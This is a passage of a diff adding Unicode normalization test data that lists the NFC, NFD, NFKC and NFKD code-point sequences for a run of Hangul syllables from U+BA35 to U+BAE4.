+{ source: [0xBA35], NFC: [0xBA35], NFD: [0x1106, 0x1164, 0x11C0], NFKC: [0xBA35], NFKD: [0x1106, 0x1164, 0x11C0] },
+{ source: [0xBA36], NFC: [0xBA36], NFD: [0x1106, 0x1164, 0x11C1], NFKC: [0xBA36], NFKD: [0x1106, 0x1164, 0x11C1] },
+{ source: [0xBA37], NFC: [0xBA37], NFD: [0x1106, 0x1164, 0x11C2], NFKC: [0xBA37], NFKD: [0x1106, 0x1164, 0x11C2] },
+{ source: [0xBA38], NFC: [0xBA38], NFD: [0x1106, 0x1165], NFKC: [0xBA38], NFKD: [0x1106, 0x1165] },
+{ source: [0xBA39], NFC: [0xBA39], NFD: [0x1106, 0x1165, 0x11A8], NFKC: [0xBA39], NFKD: [0x1106, 0x1165, 0x11A8] },
+{ source: [0xBA3A], NFC: [0xBA3A], NFD: [0x1106, 0x1165, 0x11A9], NFKC: [0xBA3A], NFKD: [0x1106, 0x1165, 0x11A9] },
+{ source: [0xBA3B], NFC: [0xBA3B], NFD: [0x1106, 0x1165, 0x11AA], NFKC: [0xBA3B], NFKD: [0x1106, 0x1165, 0x11AA] },
+{ source: [0xBA3C], NFC: [0xBA3C], NFD: [0x1106, 0x1165, 0x11AB], NFKC: [0xBA3C], NFKD: [0x1106, 0x1165, 0x11AB] },
+{ source: [0xBA3D], NFC: [0xBA3D], NFD: [0x1106, 0x1165, 0x11AC], NFKC: [0xBA3D], NFKD: [0x1106, 0x1165, 0x11AC] },
+{ source: [0xBA3E], NFC: [0xBA3E], NFD: [0x1106, 0x1165, 0x11AD], NFKC: [0xBA3E], NFKD: [0x1106, 0x1165, 0x11AD] },
+{ source: [0xBA3F], NFC: [0xBA3F], NFD: [0x1106, 0x1165, 0x11AE], NFKC: [0xBA3F], NFKD: [0x1106, 0x1165, 0x11AE] },
+{ source: [0xBA40], NFC: [0xBA40], NFD: [0x1106, 0x1165, 0x11AF], NFKC: [0xBA40], NFKD: [0x1106, 0x1165, 0x11AF] },
+{ source: [0xBA41], NFC: [0xBA41], NFD: [0x1106, 0x1165, 0x11B0], NFKC: [0xBA41], NFKD: [0x1106, 0x1165, 0x11B0] },
+{ source: [0xBA42], NFC: [0xBA42], NFD: [0x1106, 0x1165, 0x11B1], NFKC: [0xBA42], NFKD: [0x1106, 0x1165, 0x11B1] },
+{ source: [0xBA43], NFC: [0xBA43], NFD: [0x1106, 0x1165, 0x11B2], NFKC: [0xBA43], NFKD: [0x1106, 0x1165, 0x11B2] },
+{ source: [0xBA44], NFC: [0xBA44], NFD: [0x1106, 0x1165, 0x11B3], NFKC: [0xBA44], NFKD: [0x1106, 0x1165, 0x11B3] },
+{ source: [0xBA45], NFC: [0xBA45], NFD: [0x1106, 0x1165, 0x11B4], NFKC: [0xBA45], NFKD: [0x1106, 0x1165, 0x11B4] },
+{ source: [0xBA46], NFC: [0xBA46], NFD: [0x1106, 0x1165, 0x11B5], NFKC: [0xBA46], NFKD: [0x1106, 0x1165, 0x11B5] },
+{ source: [0xBA47], NFC: [0xBA47], NFD: [0x1106, 0x1165, 0x11B6], NFKC: [0xBA47], NFKD: [0x1106, 0x1165, 0x11B6] },
+{ source: [0xBA48], NFC: [0xBA48], NFD: [0x1106, 0x1165, 0x11B7], NFKC: [0xBA48], NFKD: [0x1106, 0x1165, 0x11B7] },
+{ source: [0xBA49], NFC: [0xBA49], NFD: [0x1106, 0x1165, 0x11B8], NFKC: [0xBA49], NFKD: [0x1106, 0x1165, 0x11B8] },
+{ source: [0xBA4A], NFC: [0xBA4A], NFD: [0x1106, 0x1165, 0x11B9], NFKC: [0xBA4A], NFKD: [0x1106, 0x1165, 0x11B9] },
+{ source: [0xBA4B], NFC: [0xBA4B], NFD: [0x1106, 0x1165, 0x11BA], NFKC: [0xBA4B], NFKD: [0x1106, 0x1165, 0x11BA] },
+{ source: [0xBA4C], NFC: [0xBA4C], NFD: [0x1106, 0x1165, 0x11BB], NFKC: [0xBA4C], NFKD: [0x1106, 0x1165, 0x11BB] },
+{ source: [0xBA4D], NFC: [0xBA4D], NFD: [0x1106, 0x1165, 0x11BC], NFKC: [0xBA4D], NFKD: [0x1106, 0x1165, 0x11BC] },
+{ source: [0xBA4E], NFC: [0xBA4E], NFD: [0x1106, 0x1165, 0x11BD], NFKC: [0xBA4E], NFKD: [0x1106, 0x1165, 0x11BD] },
+{ source: [0xBA4F], NFC: [0xBA4F], NFD: [0x1106, 0x1165, 0x11BE], NFKC: [0xBA4F], NFKD: [0x1106, 0x1165, 0x11BE] },
+{ source: [0xBA50], NFC: [0xBA50], NFD: [0x1106, 0x1165, 0x11BF], NFKC: [0xBA50], NFKD: [0x1106, 0x1165, 0x11BF] },
+{ source: [0xBA51], NFC: [0xBA51], NFD: [0x1106, 0x1165, 0x11C0], NFKC: [0xBA51], NFKD: [0x1106, 0x1165, 0x11C0] },
+{ source: [0xBA52], NFC: [0xBA52], NFD: [0x1106, 0x1165, 0x11C1], NFKC: [0xBA52], NFKD: [0x1106, 0x1165, 0x11C1] },
+{ source: [0xBA53], NFC: [0xBA53], NFD: [0x1106, 0x1165, 0x11C2], NFKC: [0xBA53], NFKD: [0x1106, 0x1165, 0x11C2] },
+{ source: [0xBA54], NFC: [0xBA54], NFD: [0x1106, 0x1166], NFKC: [0xBA54], NFKD: [0x1106, 0x1166] },
+{ source: [0xBA55], NFC: [0xBA55], NFD: [0x1106, 0x1166, 0x11A8], NFKC: [0xBA55], NFKD: [0x1106, 0x1166, 0x11A8] },
+{ source: [0xBA56], NFC: [0xBA56], NFD: [0x1106, 0x1166, 0x11A9], NFKC: [0xBA56], NFKD: [0x1106, 0x1166, 0x11A9] },
+{ source: [0xBA57], NFC: [0xBA57], NFD: [0x1106, 0x1166, 0x11AA], NFKC: [0xBA57], NFKD: [0x1106, 0x1166, 0x11AA] },
+{ source: [0xBA58], NFC: [0xBA58], NFD: [0x1106, 0x1166, 0x11AB], NFKC: [0xBA58], NFKD: [0x1106, 0x1166, 0x11AB] },
+{ source: [0xBA59], NFC: [0xBA59], NFD: [0x1106, 0x1166, 0x11AC], NFKC: [0xBA59], NFKD: [0x1106, 0x1166, 0x11AC] },
+{ source: [0xBA5A], NFC: [0xBA5A], NFD: [0x1106, 0x1166, 0x11AD], NFKC: [0xBA5A], NFKD: [0x1106, 0x1166, 0x11AD] },
+{ source: [0xBA5B], NFC: [0xBA5B], NFD: [0x1106, 0x1166, 0x11AE], NFKC: [0xBA5B], NFKD: [0x1106, 0x1166, 0x11AE] },
+{ source: [0xBA5C], NFC: [0xBA5C], NFD: [0x1106, 0x1166, 0x11AF], NFKC: [0xBA5C], NFKD: [0x1106, 0x1166, 0x11AF] },
+{ source: [0xBA5D], NFC: [0xBA5D], NFD: [0x1106, 0x1166, 0x11B0], NFKC: [0xBA5D], NFKD: [0x1106, 0x1166, 0x11B0] },
+{ source: [0xBA5E], NFC: [0xBA5E], NFD: [0x1106, 0x1166, 0x11B1], NFKC: [0xBA5E], NFKD: [0x1106, 0x1166, 0x11B1] },
+{ source: [0xBA5F], NFC: [0xBA5F], NFD: [0x1106, 0x1166, 0x11B2], NFKC: [0xBA5F], NFKD: [0x1106, 0x1166, 0x11B2] },
+{ source: [0xBA60], NFC: [0xBA60], NFD: [0x1106, 0x1166, 0x11B3], NFKC: [0xBA60], NFKD: [0x1106, 0x1166, 0x11B3] },
+{ source: [0xBA61], NFC: [0xBA61], NFD: [0x1106, 0x1166, 0x11B4], NFKC: [0xBA61], NFKD: [0x1106, 0x1166, 0x11B4] },
+{ source: [0xBA62], NFC: [0xBA62], NFD: [0x1106, 0x1166, 0x11B5], NFKC: [0xBA62], NFKD: [0x1106, 0x1166, 0x11B5] },
+{ source: [0xBA63], NFC: [0xBA63], NFD: [0x1106, 0x1166, 0x11B6], NFKC: [0xBA63], NFKD: [0x1106, 0x1166, 0x11B6] },
+{ source: [0xBA64], NFC: [0xBA64], NFD: [0x1106, 0x1166, 0x11B7], NFKC: [0xBA64], NFKD: [0x1106, 0x1166, 0x11B7] },
+{ source: [0xBA65], NFC: [0xBA65], NFD: [0x1106, 0x1166, 0x11B8], NFKC: [0xBA65], NFKD: [0x1106, 0x1166, 0x11B8] },
+{ source: [0xBA66], NFC: [0xBA66], NFD: [0x1106, 0x1166, 0x11B9], NFKC: [0xBA66], NFKD: [0x1106, 0x1166, 0x11B9] },
+{ source: [0xBA67], NFC: [0xBA67], NFD: [0x1106, 0x1166, 0x11BA], NFKC: [0xBA67], NFKD: [0x1106, 0x1166, 0x11BA] },
+{ source: [0xBA68], NFC: [0xBA68], NFD: [0x1106, 0x1166, 0x11BB], NFKC: [0xBA68], NFKD: [0x1106, 0x1166, 0x11BB] },
+{ source: [0xBA69], NFC: [0xBA69], NFD: [0x1106, 0x1166, 0x11BC], NFKC: [0xBA69], NFKD: [0x1106, 0x1166, 0x11BC] },
+{ source: [0xBA6A], NFC: [0xBA6A], NFD: [0x1106, 0x1166, 0x11BD], NFKC: [0xBA6A], NFKD: [0x1106, 0x1166, 0x11BD] },
+{ source: [0xBA6B], NFC: [0xBA6B], NFD: [0x1106, 0x1166, 0x11BE], NFKC: [0xBA6B], NFKD: [0x1106, 0x1166, 0x11BE] },
+{ source: [0xBA6C], NFC: [0xBA6C], NFD: [0x1106, 0x1166, 0x11BF], NFKC: [0xBA6C], NFKD: [0x1106, 0x1166, 0x11BF] },
+{ source: [0xBA6D], NFC: [0xBA6D], NFD: [0x1106, 0x1166, 0x11C0], NFKC: [0xBA6D], NFKD: [0x1106, 0x1166, 0x11C0] },
+{ source: [0xBA6E], NFC: [0xBA6E], NFD: [0x1106, 0x1166, 0x11C1], NFKC: [0xBA6E], NFKD: [0x1106, 0x1166, 0x11C1] },
+{ source: [0xBA6F], NFC: [0xBA6F], NFD: [0x1106, 0x1166, 0x11C2], NFKC: [0xBA6F], NFKD: [0x1106, 0x1166, 0x11C2] },
+{ source: [0xBA70], NFC: [0xBA70], NFD: [0x1106, 0x1167], NFKC: [0xBA70], NFKD: [0x1106, 0x1167] },
+{ source: [0xBA71], NFC: [0xBA71], NFD: [0x1106, 0x1167, 0x11A8], NFKC: [0xBA71], NFKD: [0x1106, 0x1167, 0x11A8] },
+{ source: [0xBA72], NFC: [0xBA72], NFD: [0x1106, 0x1167, 0x11A9], NFKC: [0xBA72], NFKD: [0x1106, 0x1167, 0x11A9] },
+{ source: [0xBA73], NFC: [0xBA73], NFD: [0x1106, 0x1167, 0x11AA], NFKC: [0xBA73], NFKD: [0x1106, 0x1167, 0x11AA] },
+{ source: [0xBA74], NFC: [0xBA74], NFD: [0x1106, 0x1167, 0x11AB], NFKC: [0xBA74], NFKD: [0x1106, 0x1167, 0x11AB] },
+{ source: [0xBA75], NFC: [0xBA75], NFD: [0x1106, 0x1167, 0x11AC], NFKC: [0xBA75], NFKD: [0x1106, 0x1167, 0x11AC] },
+{ source: [0xBA76], NFC: [0xBA76], NFD: [0x1106, 0x1167, 0x11AD], NFKC: [0xBA76], NFKD: [0x1106, 0x1167, 0x11AD] },
+{ source: [0xBA77], NFC: [0xBA77], NFD: [0x1106, 0x1167, 0x11AE], NFKC: [0xBA77], NFKD: [0x1106, 0x1167, 0x11AE] },
+{ source: [0xBA78], NFC: [0xBA78], NFD: [0x1106, 0x1167, 0x11AF], NFKC: [0xBA78], NFKD: [0x1106, 0x1167, 0x11AF] },
+{ source: [0xBA79], NFC: [0xBA79], NFD: [0x1106, 0x1167, 0x11B0], NFKC: [0xBA79], NFKD: [0x1106, 0x1167, 0x11B0] },
+{ source: [0xBA7A], NFC: [0xBA7A], NFD: [0x1106, 0x1167, 0x11B1], NFKC: [0xBA7A], NFKD: [0x1106, 0x1167, 0x11B1] },
+{ source: [0xBA7B], NFC: [0xBA7B], NFD: [0x1106, 0x1167, 0x11B2], NFKC: [0xBA7B], NFKD: [0x1106, 0x1167, 0x11B2] },
+{ source: [0xBA7C], NFC: [0xBA7C], NFD: [0x1106, 0x1167, 0x11B3], NFKC: [0xBA7C], NFKD: [0x1106, 0x1167, 0x11B3] },
+{ source: [0xBA7D], NFC: [0xBA7D], NFD: [0x1106, 0x1167, 0x11B4], NFKC: [0xBA7D], NFKD: [0x1106, 0x1167, 0x11B4] },
+{ source: [0xBA7E], NFC: [0xBA7E], NFD: [0x1106, 0x1167, 0x11B5], NFKC: [0xBA7E], NFKD: [0x1106, 0x1167, 0x11B5] },
+{ source: [0xBA7F], NFC: [0xBA7F], NFD: [0x1106, 0x1167, 0x11B6], NFKC: [0xBA7F], NFKD: [0x1106, 0x1167, 0x11B6] },
+{ source: [0xBA80], NFC: [0xBA80], NFD: [0x1106, 0x1167, 0x11B7], NFKC: [0xBA80], NFKD: [0x1106, 0x1167, 0x11B7] },
+{ source: [0xBA81], NFC: [0xBA81], NFD: [0x1106, 0x1167, 0x11B8], NFKC: [0xBA81], NFKD: [0x1106, 0x1167, 0x11B8] },
+{ source: [0xBA82], NFC: [0xBA82], NFD: [0x1106, 0x1167, 0x11B9], NFKC: [0xBA82], NFKD: [0x1106, 0x1167, 0x11B9] },
+{ source: [0xBA83], NFC: [0xBA83], NFD: [0x1106, 0x1167, 0x11BA], NFKC: [0xBA83], NFKD: [0x1106, 0x1167, 0x11BA] },
+{ source: [0xBA84], NFC: [0xBA84], NFD: [0x1106, 0x1167, 0x11BB], NFKC: [0xBA84], NFKD: [0x1106, 0x1167, 0x11BB] },
+{ source: [0xBA85], NFC: [0xBA85], NFD: [0x1106, 0x1167, 0x11BC], NFKC: [0xBA85], NFKD: [0x1106, 0x1167, 0x11BC] },
+{ source: [0xBA86], NFC: [0xBA86], NFD: [0x1106, 0x1167, 0x11BD], NFKC: [0xBA86], NFKD: [0x1106, 0x1167, 0x11BD] },
+{ source: [0xBA87], NFC: [0xBA87], NFD: [0x1106, 0x1167, 0x11BE], NFKC: [0xBA87], NFKD: [0x1106, 0x1167, 0x11BE] },
+{ source: [0xBA88], NFC: [0xBA88], NFD: [0x1106, 0x1167, 0x11BF], NFKC: [0xBA88], NFKD: [0x1106, 0x1167, 0x11BF] },
+{ source: [0xBA89], NFC: [0xBA89], NFD: [0x1106, 0x1167, 0x11C0], NFKC: [0xBA89], NFKD: [0x1106, 0x1167, 0x11C0] },
+{ source: [0xBA8A], NFC: [0xBA8A], NFD: [0x1106, 0x1167, 0x11C1], NFKC: [0xBA8A], NFKD: [0x1106, 0x1167, 0x11C1] },
+{ source: [0xBA8B], NFC: [0xBA8B], NFD: [0x1106, 0x1167, 0x11C2], NFKC: [0xBA8B], NFKD: [0x1106, 0x1167, 0x11C2] },
+{ source: [0xBA8C], NFC: [0xBA8C], NFD: [0x1106, 0x1168], NFKC: [0xBA8C], NFKD: [0x1106, 0x1168] },
+{ source: [0xBA8D], NFC: [0xBA8D], NFD: [0x1106, 0x1168, 0x11A8], NFKC: [0xBA8D], NFKD: [0x1106, 0x1168, 0x11A8] },
+{ source: [0xBA8E], NFC: [0xBA8E], NFD: [0x1106, 0x1168, 0x11A9], NFKC: [0xBA8E], NFKD: [0x1106, 0x1168, 0x11A9] },
+{ source: [0xBA8F], NFC: [0xBA8F], NFD: [0x1106, 0x1168, 0x11AA], NFKC: [0xBA8F], NFKD: [0x1106, 0x1168, 0x11AA] },
+{ source: [0xBA90], NFC: [0xBA90], NFD: [0x1106, 0x1168, 0x11AB], NFKC: [0xBA90], NFKD: [0x1106, 0x1168, 0x11AB] },
+{ source: [0xBA91], NFC: [0xBA91], NFD: [0x1106, 0x1168, 0x11AC], NFKC: [0xBA91], NFKD: [0x1106, 0x1168, 0x11AC] },
+{ source: [0xBA92], NFC: [0xBA92], NFD: [0x1106, 0x1168, 0x11AD], NFKC: [0xBA92], NFKD: [0x1106, 0x1168, 0x11AD] },
+{ source: [0xBA93], NFC: [0xBA93], NFD: [0x1106, 0x1168, 0x11AE], NFKC: [0xBA93], NFKD: [0x1106, 0x1168, 0x11AE] },
+{ source: [0xBA94], NFC: [0xBA94], NFD: [0x1106, 0x1168, 0x11AF], NFKC: [0xBA94], NFKD: [0x1106, 0x1168, 0x11AF] },
+{ source: [0xBA95], NFC: [0xBA95], NFD: [0x1106, 0x1168, 0x11B0], NFKC: [0xBA95], NFKD: [0x1106, 0x1168, 0x11B0] },
+{ source: [0xBA96], NFC: [0xBA96], NFD: [0x1106, 0x1168, 0x11B1], NFKC: [0xBA96], NFKD: [0x1106, 0x1168, 0x11B1] },
+{ source: [0xBA97], NFC: [0xBA97], NFD: [0x1106, 0x1168, 0x11B2], NFKC: [0xBA97], NFKD: [0x1106, 0x1168, 0x11B2] },
+{ source: [0xBA98], NFC: [0xBA98], NFD: [0x1106, 0x1168, 0x11B3], NFKC: [0xBA98], NFKD: [0x1106, 0x1168, 0x11B3] },
+{ source: [0xBA99], NFC: [0xBA99], NFD: [0x1106, 0x1168, 0x11B4], NFKC: [0xBA99], NFKD: [0x1106, 0x1168, 0x11B4] },
+{ source: [0xBA9A], NFC: [0xBA9A], NFD: [0x1106, 0x1168, 0x11B5], NFKC: [0xBA9A], NFKD: [0x1106, 0x1168, 0x11B5] },
+{ source: [0xBA9B], NFC: [0xBA9B], NFD: [0x1106, 0x1168, 0x11B6], NFKC: [0xBA9B], NFKD: [0x1106, 0x1168, 0x11B6] },
+{ source: [0xBA9C], NFC: [0xBA9C], NFD: [0x1106, 0x1168, 0x11B7], NFKC: [0xBA9C], NFKD: [0x1106, 0x1168, 0x11B7] },
+{ source: [0xBA9D], NFC: [0xBA9D], NFD: [0x1106, 0x1168, 0x11B8], NFKC: [0xBA9D], NFKD: [0x1106, 0x1168, 0x11B8] },
+{ source: [0xBA9E], NFC: [0xBA9E], NFD: [0x1106, 0x1168, 0x11B9], NFKC: [0xBA9E], NFKD: [0x1106, 0x1168, 0x11B9] },
+{ source: [0xBA9F], NFC: [0xBA9F], NFD: [0x1106, 0x1168, 0x11BA], NFKC: [0xBA9F], NFKD: [0x1106, 0x1168, 0x11BA] },
+{ source: [0xBAA0], NFC: [0xBAA0], NFD: [0x1106, 0x1168, 0x11BB], NFKC: [0xBAA0], NFKD: [0x1106, 0x1168, 0x11BB] },
+{ source: [0xBAA1], NFC: [0xBAA1], NFD: [0x1106, 0x1168, 0x11BC], NFKC: [0xBAA1], NFKD: [0x1106, 0x1168, 0x11BC] },
+{ source: [0xBAA2], NFC: [0xBAA2], NFD: [0x1106, 0x1168, 0x11BD], NFKC: [0xBAA2], NFKD: [0x1106, 0x1168, 0x11BD] },
+{ source: [0xBAA3], NFC: [0xBAA3], NFD: [0x1106, 0x1168, 0x11BE], NFKC: [0xBAA3], NFKD: [0x1106, 0x1168, 0x11BE] },
+{ source: [0xBAA4], NFC: [0xBAA4], NFD: [0x1106, 0x1168, 0x11BF], NFKC: [0xBAA4], NFKD: [0x1106, 0x1168, 0x11BF] },
+{ source: [0xBAA5], NFC: [0xBAA5], NFD: [0x1106, 0x1168, 0x11C0], NFKC: [0xBAA5], NFKD: [0x1106, 0x1168, 0x11C0] },
+{ source: [0xBAA6], NFC: [0xBAA6], NFD: [0x1106, 0x1168, 0x11C1], NFKC: [0xBAA6], NFKD: [0x1106, 0x1168, 0x11C1] },
+{ source: [0xBAA7], NFC: [0xBAA7], NFD: [0x1106, 0x1168, 0x11C2], NFKC: [0xBAA7], NFKD: [0x1106, 0x1168, 0x11C2] },
+{ source: [0xBAA8], NFC: [0xBAA8], NFD: [0x1106, 0x1169], NFKC: [0xBAA8], NFKD: [0x1106, 0x1169] },
+{ source: [0xBAA9], NFC: [0xBAA9], NFD: [0x1106, 0x1169, 0x11A8], NFKC: [0xBAA9], NFKD: [0x1106, 0x1169, 0x11A8] },
+{ source: [0xBAAA], NFC: [0xBAAA], NFD: [0x1106, 0x1169, 0x11A9], NFKC: [0xBAAA], NFKD: [0x1106, 0x1169, 0x11A9] },
+{ source: [0xBAAB], NFC: [0xBAAB], NFD: [0x1106, 0x1169, 0x11AA], NFKC: [0xBAAB], NFKD: [0x1106, 0x1169, 0x11AA] },
+{ source: [0xBAAC], NFC: [0xBAAC], NFD: [0x1106, 0x1169, 0x11AB], NFKC: [0xBAAC], NFKD: [0x1106, 0x1169, 0x11AB] },
+{ source: [0xBAAD], NFC: [0xBAAD], NFD: [0x1106, 0x1169, 0x11AC], NFKC: [0xBAAD], NFKD: [0x1106, 0x1169, 0x11AC] },
+{ source: [0xBAAE], NFC: [0xBAAE], NFD: [0x1106, 0x1169, 0x11AD], NFKC: [0xBAAE], NFKD: [0x1106, 0x1169, 0x11AD] },
+{ source: [0xBAAF], NFC: [0xBAAF], NFD: [0x1106, 0x1169, 0x11AE], NFKC: [0xBAAF], NFKD: [0x1106, 0x1169, 0x11AE] },
+{ source: [0xBAB0], NFC: [0xBAB0], NFD: [0x1106, 0x1169, 0x11AF], NFKC: [0xBAB0], NFKD: [0x1106, 0x1169, 0x11AF] },
+{ source: [0xBAB1], NFC: [0xBAB1], NFD: [0x1106, 0x1169, 0x11B0], NFKC: [0xBAB1], NFKD: [0x1106, 0x1169, 0x11B0] },
+{ source: [0xBAB2], NFC: [0xBAB2], NFD: [0x1106, 0x1169, 0x11B1], NFKC: [0xBAB2], NFKD: [0x1106, 0x1169, 0x11B1] },
+{ source: [0xBAB3], NFC: [0xBAB3], NFD: [0x1106, 0x1169, 0x11B2], NFKC: [0xBAB3], NFKD: [0x1106, 0x1169, 0x11B2] },
+{ source: [0xBAB4], NFC: [0xBAB4], NFD: [0x1106, 0x1169, 0x11B3], NFKC: [0xBAB4], NFKD: [0x1106, 0x1169, 0x11B3] },
+{ source: [0xBAB5], NFC: [0xBAB5], NFD: [0x1106, 0x1169, 0x11B4], NFKC: [0xBAB5], NFKD: [0x1106, 0x1169, 0x11B4] },
+{ source: [0xBAB6], NFC: [0xBAB6], NFD: [0x1106, 0x1169, 0x11B5], NFKC: [0xBAB6], NFKD: [0x1106, 0x1169, 0x11B5] },
+{ source: [0xBAB7], NFC: [0xBAB7], NFD: [0x1106, 0x1169, 0x11B6], NFKC: [0xBAB7], NFKD: [0x1106, 0x1169, 0x11B6] },
+{ source: [0xBAB8], NFC: [0xBAB8], NFD: [0x1106, 0x1169, 0x11B7], NFKC: [0xBAB8], NFKD: [0x1106, 0x1169, 0x11B7] },
+{ source: [0xBAB9], NFC: [0xBAB9], NFD: [0x1106, 0x1169, 0x11B8], NFKC: [0xBAB9], NFKD: [0x1106, 0x1169, 0x11B8] },
+{ source: [0xBABA], NFC: [0xBABA], NFD: [0x1106, 0x1169, 0x11B9], NFKC: [0xBABA], NFKD: [0x1106, 0x1169, 0x11B9] },
+{ source: [0xBABB], NFC: [0xBABB], NFD: [0x1106, 0x1169, 0x11BA], NFKC: [0xBABB], NFKD: [0x1106, 0x1169, 0x11BA] },
+{ source: [0xBABC], NFC: [0xBABC], NFD: [0x1106, 0x1169, 0x11BB], NFKC: [0xBABC], NFKD: [0x1106, 0x1169, 0x11BB] },
+{ source: [0xBABD], NFC: [0xBABD], NFD: [0x1106, 0x1169, 0x11BC], NFKC: [0xBABD], NFKD: [0x1106, 0x1169, 0x11BC] },
+{ source: [0xBABE], NFC: [0xBABE], NFD: [0x1106, 0x1169, 0x11BD], NFKC: [0xBABE], NFKD: [0x1106, 0x1169, 0x11BD] },
+{ source: [0xBABF], NFC: [0xBABF], NFD: [0x1106, 0x1169, 0x11BE], NFKC: [0xBABF], NFKD: [0x1106, 0x1169, 0x11BE] },
+{ source: [0xBAC0], NFC: [0xBAC0], NFD: [0x1106, 0x1169, 0x11BF], NFKC: [0xBAC0], NFKD: [0x1106, 0x1169, 0x11BF] },
+{ source: [0xBAC1], NFC: [0xBAC1], NFD: [0x1106, 0x1169, 0x11C0], NFKC: [0xBAC1], NFKD: [0x1106, 0x1169, 0x11C0] },
+{ source: [0xBAC2], NFC: [0xBAC2], NFD: [0x1106, 0x1169, 0x11C1], NFKC: [0xBAC2], NFKD: [0x1106, 0x1169, 0x11C1] },
+{ source: [0xBAC3], NFC: [0xBAC3], NFD: [0x1106, 0x1169, 0x11C2], NFKC: [0xBAC3], NFKD: [0x1106, 0x1169, 0x11C2] },
+{ source: [0xBAC4], NFC: [0xBAC4], NFD: [0x1106, 0x116A], NFKC: [0xBAC4], NFKD: [0x1106, 0x116A] },
+{ source: [0xBAC5], NFC: [0xBAC5], NFD: [0x1106, 0x116A, 0x11A8], NFKC: [0xBAC5], NFKD: [0x1106, 0x116A, 0x11A8] },
+{ source: [0xBAC6], NFC: [0xBAC6], NFD: [0x1106, 0x116A, 0x11A9], NFKC: [0xBAC6], NFKD: [0x1106, 0x116A, 0x11A9] },
+{ source: [0xBAC7], NFC: [0xBAC7], NFD: [0x1106, 0x116A, 0x11AA], NFKC: [0xBAC7], NFKD: [0x1106, 0x116A, 0x11AA] },
+{ source: [0xBAC8], NFC: [0xBAC8], NFD: [0x1106, 0x116A, 0x11AB], NFKC: [0xBAC8], NFKD: [0x1106, 0x116A, 0x11AB] },
+{ source: [0xBAC9], NFC: [0xBAC9], NFD: [0x1106, 0x116A, 0x11AC], NFKC: [0xBAC9], NFKD: [0x1106, 0x116A, 0x11AC] },
+{ source: [0xBACA], NFC: [0xBACA], NFD: [0x1106, 0x116A, 0x11AD], NFKC: [0xBACA], NFKD: [0x1106, 0x116A, 0x11AD] },
+{ source: [0xBACB], NFC: [0xBACB], NFD: [0x1106, 0x116A, 0x11AE], NFKC: [0xBACB], NFKD: [0x1106, 0x116A, 0x11AE] },
+{ source: [0xBACC], NFC: [0xBACC], NFD: [0x1106, 0x116A, 0x11AF], NFKC: [0xBACC], NFKD: [0x1106, 0x116A, 0x11AF] },
+{ source: [0xBACD], NFC: [0xBACD], NFD: [0x1106, 0x116A, 0x11B0], NFKC: [0xBACD], NFKD: [0x1106, 0x116A, 0x11B0] },
+{ source: [0xBACE], NFC: [0xBACE], NFD: [0x1106, 0x116A, 0x11B1], NFKC: [0xBACE], NFKD: [0x1106, 0x116A, 0x11B1] },
+{ source: [0xBACF], NFC: [0xBACF], NFD: [0x1106, 0x116A, 0x11B2], NFKC: [0xBACF], NFKD: [0x1106, 0x116A, 0x11B2] },
+{ source: [0xBAD0], NFC: [0xBAD0], NFD: [0x1106, 0x116A, 0x11B3], NFKC: [0xBAD0], NFKD: [0x1106, 0x116A, 0x11B3] },
+{ source: [0xBAD1], NFC: [0xBAD1], NFD: [0x1106, 0x116A, 0x11B4], NFKC: [0xBAD1], NFKD: [0x1106, 0x116A, 0x11B4] },
+{ source: [0xBAD2], NFC: [0xBAD2], NFD: [0x1106, 0x116A, 0x11B5], NFKC: [0xBAD2], NFKD: [0x1106, 0x116A, 0x11B5] },
+{ source: [0xBAD3], NFC: [0xBAD3], NFD: [0x1106, 0x116A, 0x11B6], NFKC: [0xBAD3], NFKD: [0x1106, 0x116A, 0x11B6] },
+{ source: [0xBAD4], NFC: [0xBAD4], NFD: [0x1106, 0x116A, 0x11B7], NFKC: [0xBAD4], NFKD: [0x1106, 0x116A, 0x11B7] },
+{ source: [0xBAD5], NFC: [0xBAD5], NFD: [0x1106, 0x116A, 0x11B8], NFKC: [0xBAD5], NFKD: [0x1106, 0x116A, 0x11B8] },
+{ source: [0xBAD6], NFC: [0xBAD6], NFD: [0x1106, 0x116A, 0x11B9], NFKC: [0xBAD6], NFKD: [0x1106, 0x116A, 0x11B9] },
+{ source: [0xBAD7], NFC: [0xBAD7], NFD: [0x1106, 0x116A, 0x11BA], NFKC: [0xBAD7], NFKD: [0x1106, 0x116A, 0x11BA] },
+{ source: [0xBAD8], NFC: [0xBAD8], NFD: [0x1106, 0x116A, 0x11BB], NFKC: [0xBAD8], NFKD: [0x1106, 0x116A, 0x11BB] },
+{ source: [0xBAD9], NFC: [0xBAD9], NFD: [0x1106, 0x116A, 0x11BC], NFKC: [0xBAD9], NFKD: [0x1106, 0x116A, 0x11BC] },
+{ source: [0xBADA], NFC: [0xBADA], NFD: [0x1106, 0x116A, 0x11BD], NFKC: [0xBADA], NFKD: [0x1106, 0x116A, 0x11BD] },
+{ source: [0xBADB], NFC: [0xBADB], NFD: [0x1106, 0x116A, 0x11BE], NFKC: [0xBADB], NFKD: [0x1106, 0x116A, 0x11BE] },
+{ source: [0xBADC], NFC: [0xBADC], NFD: [0x1106, 0x116A, 0x11BF], NFKC: [0xBADC], NFKD: [0x1106, 0x116A, 0x11BF] },
+{ source: [0xBADD], NFC: [0xBADD], NFD: [0x1106, 0x116A, 0x11C0], NFKC: [0xBADD], NFKD: [0x1106, 0x116A, 0x11C0] },
+{ source: [0xBADE], NFC: [0xBADE], NFD: [0x1106, 0x116A, 0x11C1], NFKC: [0xBADE], NFKD: [0x1106, 0x116A, 0x11C1] },
+{ source: [0xBADF], NFC: [0xBADF], NFD: [0x1106, 0x116A, 0x11C2], NFKC: [0xBADF], NFKD: [0x1106, 0x116A, 0x11C2] },
+{ source: [0xBAE0], NFC: [0xBAE0], NFD: [0x1106, 0x116B], NFKC: [0xBAE0], NFKD: [0x1106, 0x116B] },
+{ source: [0xBAE1], NFC: [0xBAE1], NFD: [0x1106, 0x116B, 0x11A8], NFKC: [0xBAE1], NFKD: [0x1106, 0x116B, 0x11A8] },
+{ source: [0xBAE2], NFC: [0xBAE2], NFD: [0x1106, 0x116B, 0x11A9], NFKC: [0xBAE2], NFKD: [0x1106, 0x116B, 0x11A9] },
+{ source: [0xBAE3], NFC: [0xBAE3], NFD: [0x1106, 0x116B, 0x11AA], NFKC: [0xBAE3], NFKD: [0x1106, 0x116B, 0x11AA] },
+{ source: [0xBAE4], NFC: [0xBAE4], NFD: [0x1106, 0x116B, 0x11AB], NFKC: [0xBAE4], NFKD: [0x1106, 0x116B, 0x11AB] },
